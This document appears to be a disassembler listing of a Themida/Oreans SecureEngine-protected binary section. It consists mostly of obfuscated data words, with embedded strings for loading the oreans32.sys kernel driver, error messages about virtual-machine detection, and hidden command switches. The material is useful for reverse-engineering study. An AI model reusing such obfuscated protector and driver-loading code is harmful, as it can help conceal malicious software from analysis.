		dd 756C24A2h, 0BE8h, 2F1D9A00h,	2A212437h, 2D05BBB9h, 895B58Bh
		dd 0FF5F0606h, 6321DB5h, 8E906h, 6E360000h, 3ED472DEh
		dd 858D8C5Eh, 60639F5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0EDC35747h, 82B2E55h,	0FFD3B70Fh, 53006AD0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 9EBF90F0h, 502921E4h, 0F8BF6690h, 0B2006A8Eh, 4E895h
		dd 800000h, 0E8570000h,	0Dh, 9E7D143Ah,	59C083A8h, 32F83074h
		dd 505F5E57h, 48C0Fh, 0BA660000h, 448B0436h, 8B0424h, 2F25BA66h
		dd 4244489h, 0DE9h, 0A85B4100h,	0D9DC8896h, 0EC2771FAh
		dd 0E9589C64h, 11h, 45F8299Eh, 8E393614h, 0AB0E26EAh, 0DD8611FEh
		dd 0F9036A2Dh, 0C9B9006Ah, 6A4456DAh, 9DB58903h, 8006060Eh
		dd 4E83FCEh, 0
		dd 8BC00000h, 8B6650D6h, 24448BFEh, 0E8525004h,	13h, 3C7D9205h
		dd 1B04EE7Eh, 7D584FE4h, 2055173Ah, 0F20993Dh, 81h, 310F5F00h
		dd 8B585Ah, 8C0F5250h, 0
		dd 585A310Fh, 4244489h,	92F90EBEh, 8C0F5857h, 6, 1035BD89h
		dd 8D010606h, 6061ACDh,	0A6349D8Dh, 8D030608h, 60633F9h
		dd 10E950h, 294F0000h, 320D8D3Fh, 5D52821Ah, 0F9A7DDB0h
		dd 1C893E37h, 0ADB58B24h, 0FF06062Bh, 0C9B70FD0h, 0D1850F40h
		dd 0BF000002h, 3B154E72h, 199952Bh, 29580606h, 6341185h
		dd 0BA665006h, 489ACE2h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 661C16A2h, 0E4C8EE81h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 4C6BDBC3h, 403175AAh, 1EB96675h, 211E6845h
		dd 8D0FCCFDh, 0Eh, 6E853h, 6CAD0000h, 4D0EB058h, 4815A5Fh
		dd 2DF6224h, 5E933h, 0EE5E0000h, 6A842E24h, 95BE6603h
		dd 0E9006AD2h, 0Fh, 0FAD7A3AAh,	0BFCE4CCFh, 1BE83E56h
		dd 6A12F958h, 88C68103h, 0E83DB9C9h, 4,	0C0000000h, 4800Fh
		dd 0BF660000h, 8B50EABEh, 0F042444h, 0F84h, 0B9525000h
		dd 6C6D90C3h, 0BE66310Fh, 585AB956h, 0EB8A008Bh, 4244489h
		dd 6A584FB1h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 5F3DC355h, 0D9CCBE65h,	0CBBF0F4Ah
		dd 1E31BD8Bh, 9D8D0606h, 608A63Dh, 21759503h, 85290606h
		dd 6063205h, 0D68B6650h, 8B241C89h, 611E1B5h, 6AD0FF06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0A0AC353h, 89D1C360h, 6124DB5h, 0FD8D8906h
		dd 4006062Ah, 166850Fh,	0BD330000h, 6061769h, 5E85358h
		dd 0E2000000h, 0FE84194Bh, 5E5A8BB5h, 8942B150h, 0B70F2404h
		dd 0F006AF1h, 585h, 60F56000h, 0F8686161h, 0B9226AF3h
		dd 77FCFDB8h, 78243481h, 8B226AF3h, 6018D95h, 6A036A06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 4819C352h, 23EF63D1h, 8D89B694h, 6061C15h
		dd 0F28B006Ah, 6A036Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 747780C3h, 46F2F346h, 4A68B1D1h
		dd 50F42E3Fh, 68C0Fh, 52500000h, 585A310Fh, 2434815Eh
		dd 342E3F4Ah, 0DE8166h,	489D8D1Ah, 0E90608A6h, 9, 60E70F41h
		dd 16F486C6h, 8B66932Eh, 0FC9350F9h, 6AD0FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 890499C3h
		dd 62D41BDh, 850F4006h,	68h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 21C35141h, 731CB4EDh, 3C6BEB92h
		dd 68D0FACh, 89000000h,	601A195h, 61BD8B06h, 58060627h
		dd 118E9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 103D61E6h, 58D0F3Fh, 66000000h, 137ADE81h
		dd 8E9D88Bh, 1B000000h,	24F01DD5h, 4BB65FB8h, 0F3880ABAh
		dd 8F0F580Ch, 2, 85C671B6h, 60601C1h, 0F22C6843h, 2BB2A945h
		dd 7B240481h, 0E9173058h, 0Ah, 614B2A4Bh, 42C56CA8h, 0B5FFC11Ch
		dd 606321Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0B7C35545h, 8217A159h, 0DE92Dh,	8FC70000h, 354D7FBAh
		dd 96BC9451h, 8DBD5B94h, 639F585h, 0FFD08B06h, 0D98D8BD0h
		dd 5006061Eh, 0DE8h, 8595B200h,	0AA89CD48h, 7AF4CAA0h
		dd 6060719Fh, 0F525061h, 61585A31h, 241C895Ah, 33DD958Bh
		dd 81660606h, 0FF33A8E9h, 0EE9D0h, 2E1E0000h, 0FDBA451Eh
		dd 6E2B94E6h, 0E866C7B9h, 71789D8Dh, 0BE660606h, 1B861F2h
		dd 0F000000h, 580h, 8B666000h, 0E3FF61FBh, 0CFC28166h
		dd 0E9C18BE3h, 13h, 8817F742h, 1083F807h, 1AF36EC5h, 86E98D9h
		dd 81479775h, 251641EAh, 0B9C08B13h, 57A36B94h,	30D1BD83h
		dd 75000606h, 0B5BD8309h, 60604h, 53501974h, 0FB8C08Bh
		dd 89000004h, 620B985h,	0C89D8D06h, 0FF0608B2h,	83585BD3h
		dd 604B5BDh, 17740006h,	0FB85350h, 89000004h, 620B985h
		dd 699D8D06h, 0FF0608AFh, 0E9585BD3h, 7, 0CE7F25A9h, 66178BE8h
		dd 6A682EBAh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 6093C355h, 0B1BCA5F2h,	658BE65Ah
		dd 0AAE9C08Bh, 53000000h, 7774666Fh, 5C657261h,	4C6E6957h
		dd 6E656369h, 43006573h, 6B636568h, 58004E49h, 746F7270h
		dd 74697845h, 65684300h, 554F6B63h, 69570054h, 63694C6Eh
		dd 65736E65h, 73726556h, 6E6F69h, 4C6E6957h, 6E656369h
		dd 72446573h, 72657669h, 73726556h, 6E6F69h, 4C6E6957h
		dd 6E656369h, 6E496573h, 6E617473h, 45006563h, 4F746978h
		dd 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h, 69784500h
		dd 4E4974h, 74697845h, 54554Fh,	4E497054h, 3 dup(0)
		dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h,	608AD84h
		dd 0AD80858Dh, 8D500608h, 8ACEA85h, 1685006h, 0FF800000h
		dd 8AD9095h, 0FF196A06h, 8AD84B5h, 6A016A06h, 19858D00h
		dd 500608ADh, 0AD80B5FFh, 95FF0608h, 6061611h, 0AD80B5FFh
		dd 95FF0608h, 608AD8Ch,	0AD80B5FFh, 95FF0608h, 6060255h
		dd 848589C3h, 8D0608ADh, 8AD8085h, 858D5006h, 608ACEAh
		dd 16850h, 95FF8000h, 608AD90h,	858D046Ah, 608AD84h, 6A046A50h
		dd 43858D00h, 500608ADh, 0AD80B5FFh, 95FF0608h,	6061611h
		dd 0AD80B5FFh, 95FF0608h, 608AD8Ch, 0AD80B5FFh,	95FF0608h
		dd 6060255h, 848589C3h,	8D0608ADh, 8AD8085h, 858D5006h
		dd 608ACEAh, 16850h, 95FF8000h,	608AD90h, 858D046Ah, 608AD84h
		dd 6A046A50h, 2B858D00h, 500608ADh, 0AD80B5FFh,	95FF0608h
		dd 6061611h, 0AD80B5FFh, 95FF0608h, 608AD8Ch, 0AD80B5FFh
		dd 95FF0608h, 6060255h,	848589C3h, 8D0608ADh, 8AD8085h
		dd 858D5006h, 608ACEAh,	16850h,	95FF8000h, 608AD90h, 858D046Ah
		dd 608AD84h, 6A046A50h,	56858D00h, 500608ADh, 0AD80B5FFh
		dd 95FF0608h, 6061611h,	0AD80B5FFh, 95FF0608h, 608AD8Ch
		dd 0AD80B5FFh, 95FF0608h, 6060255h, 848589C3h, 8D0608ADh
		dd 8AD8085h, 858D5006h,	608ACEAh, 16850h, 95FF8000h, 608AD90h
		dd 858D046Ah, 608AD84h,	6A046A50h, 6858D00h, 500608ADh
		dd 0AD80B5FFh, 95FF0608h, 6061611h, 0AD80B5FFh,	95FF0608h
		dd 608AD8Ch, 0AD80B5FFh, 95FF0608h, 6060255h, 31BD83C3h
		dd 60615h, 0B840Fh, 9D8B0000h, 6061531h, 894CC383h, 0BD83C303h
		dd 6061531h, 0B840F00h,	8B000000h, 615319Dh, 50C38306h
		dd 83C30389h, 61531BDh,	840F0006h, 0Bh,	15319D8Bh, 0C3830606h
		dd 0C3038954h, 1531BD83h, 0F000606h, 0B84h, 319D8B00h
		dd 83060615h, 38958C3h,	31BD83C3h, 60615h, 0B840Fh, 9D8B0000h
		dd 6061531h, 895CC383h,	60C3C303h, 0AD848589h, 858D0608h
		dd 608AD80h, 0EA858D50h, 500608ACh, 168h, 9095FF80h, 6A0608ADh
		dd 84858D04h, 500608ADh, 6A046Ah, 0AD7B858Dh, 0FF500608h
		dd 8AD80B5h, 1195FF06h,	83060616h, 630D1BDh, 840F0006h
		dd 0Ch,	0AD80B5FFh, 95FF0608h, 608AD8Ch, 0AD80B5FFh, 95FF0608h
		dd 6060255h, 8960C361h
dword_56F468	dd 8AD8485h, 80858D06h,	500608ADh, 0ACEA858Dh, 68500608h
					; DATA XREF: Themida_:0056DDACo
		dd 80000001h, 0AD9095FFh, 46A0608h, 0AD84858Dh,	6A500608h
		dd 8D006A04h, 8AD5D85h,	0B5FF5006h, 608AD80h, 161195FFh
		dd 0BD830606h, 60630D1h, 0C840F00h, 0FF000000h,	8AD80B5h
		dd 8C95FF06h, 0FF0608ADh, 8AD80B5h, 5595FF06h, 61060602h
		dd 858960C3h, 608AD84h,	0AD80858Dh, 8D500608h, 8ACEA85h
		dd 1685006h, 0FF800000h, 8AD9095h, 8D046A06h, 8AD8485h
		dd 46A5006h, 858D006Ah,	608AD64h, 80B5FF50h, 0FF0608ADh
		dd 6161195h, 0D1BD8306h, 60630h, 0C840Fh, 0B5FF0000h, 608AD80h
		dd 0AD8C95FFh, 0B5FF0608h, 608AD80h, 25595FFh, 0C3610606h
		dd 84858960h, 8D0608ADh, 8AD8085h, 858D5006h, 608ACEAh
		dd 16850h, 95FF8000h, 608AD90h,	858D046Ah, 608AD84h, 6A046A50h
		dd 6C858D00h, 500608ADh, 0AD80B5FFh, 95FF0608h,	6061611h
		dd 30D1BD83h, 0F000606h, 0C84h,	80B5FF00h, 0FF0608ADh
		dd 8AD8C95h, 80B5FF06h,	0FF0608ADh, 6025595h, 60C36106h
		dd 0AD848589h, 858D0608h, 608AD80h, 0EA858D50h,	500608ACh
		dd 168h, 9095FF80h, 6A0608ADh, 84858D04h, 500608ADh, 6A046Ah
		dd 0AD73858Dh, 0FF500608h, 8AD80B5h, 1195FF06h,	83060616h
		dd 630D1BDh, 840F0006h,	0Ch, 0AD80B5FFh, 95FF0608h, 608AD8Ch
		dd 0AD80B5FFh, 95FF0608h, 6060255h, 0C760C361h,	8AD8485h
		dd 106h, 80858D00h, 500608ADh, 0ACEA858Dh, 68500608h, 80000002h
		dd 0AD9095FFh, 0C00B0608h, 0F840Fh, 85C70000h, 608AD84h
		dd 0
		dd 4DE9h, 8D046A00h, 8AD8485h, 46A5006h, 858D006Ah, 608ACFEh
		dd 80B5FF50h, 0FF0608ADh, 6161195h, 0FC00B06h, 0F84h, 8485C700h
		dd 608ADh, 0E9000000h, 0Ah, 0AD8485C7h,	10608h,	0B5FF0000h
		dd 608AD80h, 25595FFh, 8B610606h, 8AD8485h, 8960C306h
		dd 8AD8485h, 80858D06h,	500608ADh, 0ACEA858Dh, 68500608h
		dd 80000001h, 0AD9095FFh, 46A0608h, 0AD84858Dh,	6A500608h
		dd 8D006A04h, 8ACFE85h,	0B5FF5006h, 608AD80h, 161195FFh
		dd 0BD830606h, 60630D1h, 0C840F00h, 0FF000000h,	8AD80B5h
		dd 8C95FF06h, 0FF0608ADh, 8AD80B5h, 5595FF06h, 61060602h
		dd 858960C3h, 608AD84h,	0AD80858Dh, 8D500608h, 8ACEA85h
		dd 1685006h, 0FF800000h, 8AD9095h, 8D046A06h, 8AD8485h
		dd 46A5006h, 858D006Ah,	608AD10h, 80B5FF50h, 0FF0608ADh
		dd 6161195h, 0D1BD8306h, 60630h, 0C840Fh, 0B5FF0000h, 608AD80h
		dd 0AD8C95FFh, 0B5FF0608h, 608AD80h, 25595FFh, 0C3610606h
		dd 1C185C6h, 68520606h,	0ADE47B07h, 499B5FFh, 95FF0606h
		dd 60630EDh, 0AD908589h, 85C60608h, 60601C1h, 0E56852h
		dd 0B5FF902Eh, 6060499h, 30ED95FFh, 85890606h, 608AD8Ch
		dd 1C185C6h, 68520606h,	0B9BF1235h, 499B5FFh, 95FF0606h
		dd 60630EDh, 16118589h,	85C60606h, 60601C1h, 10346852h
		dd 0B5FF9878h, 6060499h, 30ED95FFh, 85890606h, 6060255h
		dd 1C185C6h, 68520606h,	0C005DBD4h, 499B5FFh, 95FF0606h
		dd 60630EDh, 1598589h, 0EE90606h, 33000002h, 6E6E6143h
		dd 7720746Fh, 65746972h, 65726F20h, 2E736E61h, 0A647876h
		dd 6B614D0Dh, 75732065h, 74206572h, 20746168h, 73696874h
		dd 6C696620h, 73692065h, 746F6E20h, 69656220h, 7520676Eh
		dd 20646573h, 61207962h, 68746F6Eh, 70207265h, 72676F72h
		dd 2E6D61h, 67h	dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 0EFE900h, 85C60000h,	60601C1h, 5B866847h, 0B5FFE3E4h
		dd 606321Dh, 39F5858Dh,	0D0FF0606h, 10468h, 319D8D00h
		dd 53060632h, 8D50D0FFh, 8B5C2B5h, 32FE8B06h, 850FAEC0h
		dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 601C185h
		dd 0FC684306h, 0FFBC8E6Eh, 6321DB5h, 0F5858D06h, 0FF060639h
		dd 31B58DD0h, 6A060632h, 806800h, 26A0000h, 6A006Ah, 68h
		dd 0D0FF56C0h, 85C6D88Bh, 60601C1h, 0EE566857h,	0B5FFA69Bh
		dd 606321Dh, 39F5858Dh,	0D0FF0606h, 2C7DBD8Dh, 8D8D0606h
		dd 608B6E8h, 6857006Ah,	37D0h, 0D0FF5351h, 850FC085h, 1Bh
		dd 0B3CAB58Dh, 858D0608h, 608A49Ah, 8D8DD0FFh, 6067178h
		dd 0B8h, 0C6E1FF00h, 601C185h, 0A7684306h, 0FFC0764Ah
		dd 6321DB5h, 0F5858D06h, 0FF060639h, 0D0FF53D0h, 37D0B9C3h
		dd 0E80000h, 58000000h,	890EC083h, 2E908h, 0C38B0000h
		dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_450050+4BB0h
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
		dd 0C3F8h, 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 14E800h, 64610000h
		dd 630233B3h, 0CA78FA56h, 0C6E29D3Ch, 796477F0h, 0B70F3A95h
		dd 0C68B59DBh, 5C9BC181h, 0DE8A0000h, 212CDBBEh, 26C68107h
		dd 0FF8DEEAh, 58Ah, 5AA2BB00h, 31FF4E55h, 8A5F28B2h, 9FEF81DDh
		dd 576E789Ah, 0EE9h, 0E0320300h, 8436E96Ah, 3512C25Dh
		dd 5AF01BC0h, 6DDBC781h, 43B76DBAh, 658FEF81h, 0D7804EF3h
		dd 0B8398943h, 1034D7EEh, 4C00E981h, 0BA5362D2h, 0F445032h
		dd 0FCC18158h, 6662D24Bh, 0F4EC18Bh, 0FFFFA985h, 68D0FFFh
		dd 81000000h, 9C7353DAh, 99E91Bh, 622F0000h, 68636775h
		dd 326B6365h, 75622F00h, 65686367h, 2F006B63h, 63726F66h
		dd 6E757265h, 75622F00h, 65686367h, 75666B63h, 2F006C6Ch
		dd 776F6873h, 65646F63h, 68732F00h, 6F63776Fh, 326564h
		dd 726C632Fh, 642F0074h, 317369h, 6F68732Fh, 736E6977h
		dd 636E6174h, 672F0065h, 6C777465h, 74617473h, 2F007375h
		dd 73676F6Ch, 75746174h, 642F0073h, 73706D75h, 75746174h
		dd 73h,	632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
		dd 83000000h, 8EFDDBDh,	840F0006h, 0Ah,	4B585C7h, 10606h
		dd 85C60000h, 60601C1h,	4E847h,	6C8D0000h, 8B50906Dh, 8B042444h
		dd 24448900h, 0B5FF5804h, 606321Dh, 39F5858Dh, 0D0FF0606h
		dd 0F88BD0FFh, 0F223F80h, 2285h, 22B04700h, 0F9850FAEh
		dd 80FFFFFFh, 840F003Fh, 31Bh, 3F8047h,	311840Fh, 1EE90000h
		dd 80000000h, 840F003Fh, 303h, 0F203F80h, 685h,	6E94700h
		dd 47000000h, 0FFFFE2E9h, 3F80FFh, 5850Fh, 0E0E90000h
		dd 0E9000002h, 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh, 5850F00h
		dd 0E9000000h, 2C3h, 0AE8h, 0FFCBE900h,	0B4E9FFFFh, 8D000002h
		dd 8EF5DB5h, 225E806h, 0BD030000h, 608EFF2h, 0EFF2BD83h
		dd 0F000608h, 0B84h, 0D185C700h, 1060630h, 0C3000000h
		dd 0EF68B58Dh, 0FCE80608h, 3000001h, 8EFF2BDh, 0F2BD8306h
		dd 608EFh, 0B840Fh, 85C70000h, 60604B5h, 1, 0E1B58DC3h
		dd 0E80608EFh, 1D3h, 0EFF2BD03h, 0BD830608h, 608EFF2h
		dd 0B840F00h, 0C7000000h, 6112D85h, 106h, 0B58DC300h, 608EF72h
		dd 1AAE8h, 0F2BD0300h, 830608EFh, 8EFF2BDh, 840F0006h
		dd 0Bh,	4B585C7h, 10606h, 8DC30000h, 8EF7CB5h, 181E806h
		dd 0BD030000h, 608EFF2h, 0EFF2BD83h, 0F000608h,	1584h
		dd 0B585C700h, 1060604h, 0C7000000h, 630D185h, 106h, 0B58DC300h
		dd 608EF8Ah, 14EE8h, 0F2BD0300h, 830608EFh, 8EFF2BDh, 840F0006h
		dd 0Ah,	3A585C7h, 10606h, 0B58D0000h, 608EF94h,	126E8h
		dd 0F2BD0300h, 830608EFh, 8EFF2BDh, 840F0006h, 0Ah, 3A585C7h
		dd 10606h, 0B58D0000h, 608EF9Fh, 0FEE8h, 0F2BD0300h, 830608EFh
		dd 8EFF2BDh, 840F0006h,	0Ah, 27F185C7h,	10606h,	0B58D0000h
		dd 608EFA5h, 0D6E8h, 0F2BD0300h, 830608EFh, 8EFF2BDh, 840F0006h
		dd 0Ah,	0FF985C7h, 10606h, 0B58D0000h, 608EFABh, 0AEE8h
		dd 0F2BD0300h, 830608EFh, 8EFF2BDh, 840F0006h, 0Ah, 24E585C7h
		dd 10606h, 0B58D0000h, 608EFB9h, 86E8h,	0F2BD0300h, 830608EFh
		dd 8EFF2BDh, 840F0006h,	0Ah, 33F585C7h,	10606h,	0B58D0000h
		dd 608EFC6h, 5EE8h, 0F2BD0300h,	830608EFh, 8EFF2BDh, 840F0006h
		dd 0Ah,	27DD85C7h, 10606h, 0B58D0000h, 608EFD1h, 36E8h
		dd 0F2BD0300h, 830608EFh, 8EFF2BDh, 840F0006h, 0Ah, 0BA185C7h
		dd 10606h, 1E90000h, 47000000h,	0F203F80h, 984h, 3F8000h
		dd 0FFED850Fh, 60C3FFFFh, 1B9h,	0E9DE8B00h, 1Ch, 0F003F80h
		dd 285h, 8AC92B00h, 0F163817h, 584h, 0B900h, 47460000h
		dd 0F003E80h, 884h, 0FC90B00h, 0FFFFD385h, 0FC90BFFh, 2184h
		dd 3F8000h, 9840Fh, 3F800000h, 0A850F20h, 0B9000000h, 1
		dd 5E9h, 0B900h, 0C90B0000h, 0D840Fh, 0F32B0000h, 0EFF2B589h
		dd 0AE90608h, 0C7000000h, 8EFF285h, 6, 8BC36100h, 10A9E9C8h
		dd 44410000h, 49504156h, 442E3233h, 4F004C4Ch, 536E6570h
		dd 6E614D43h, 72656761h, 72430041h, 65746165h, 76726553h
		dd 41656369h, 61745300h, 65537472h, 63697672h, 47004165h
		dd 614E7465h, 65766974h, 74737953h, 6E496D65h, 4F006F66h
		dd 536E6570h, 69767265h, 416563h, 656C6544h, 65536574h
		dd 63697672h, 6C430065h, 5365736Fh, 69767265h, 61486563h
		dd 656C646Eh, 6E6F4300h, 6C6F7274h, 76726553h, 656369h
		dd 8 dup(0)
aOreans32_sys	db 'oreans32.sys',0
		align 4
		dd 0
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 21h dup(0)
		dd 8B000000h, 0D2B70FC4h, 15058589h, 6A0606h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 6E9A01C3h
		dd 141958Bh, 0C08B0606h, 0BD83D08Ah, 60630D1h, 83097500h
		dd 604B5BDh, 19740006h,	0C08B5350h, 43DB8h, 51858900h
		dd 8D06062Ch, 8B2619Dh,	5BD3FF06h, 0B5BD8358h, 60604h
		dd 53501774h, 43DB8h, 51858900h, 8D06062Ch, 8AF509Dh, 5BD3FF06h
		dd 0D78B6658h, 8D0FC08Bh, 6, 2DED9D31h,	0C08B0606h, 3259D89h
		dd 0BD830606h, 60630D1h, 83097500h, 604B5BDh, 13740006h
		dd 0C08B5350h, 0B8h, 39D8D00h, 0FF0608B1h, 83585BD3h, 604B5BDh
		dd 11740006h, 0B85350h,	8D000000h, 8AFB49Dh, 5BD3FF06h
		dd 89CB8B58h, 62D8585h,	6AC08B06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0AD1AC357h
		dd 650C7587h, 0BF0F9A0Dh, 0BC08BD1h, 62295BDh, 0CE806h
		dd 6A8F0000h, 0BA4F56DEh, 7D5B543Fh, 8D8933CBh,	60620A5h
		dd 0D1BD8359h, 60630h, 0BD830975h, 60604B5h, 50137400h
		dd 0B8C08B53h, 0
		dd 0B0359D8Dh, 0D3FF0608h, 0BD83585Bh, 60604B5h, 50117400h
		dd 0B853h, 9D8D0000h, 608AF82h,	585BD3FFh, 13DDBD8Bh, 0C08B0606h
		dd 15B98D89h, 0C08B0606h, 1A19D89h, 0BD830606h,	60630D1h
		dd 83097500h, 604B5BDh,	13740006h, 0C08B5350h, 0B8h, 9C9D8D00h
		dd 0FF0608B0h, 83585BD3h, 604B5BDh, 11740006h, 0B85350h
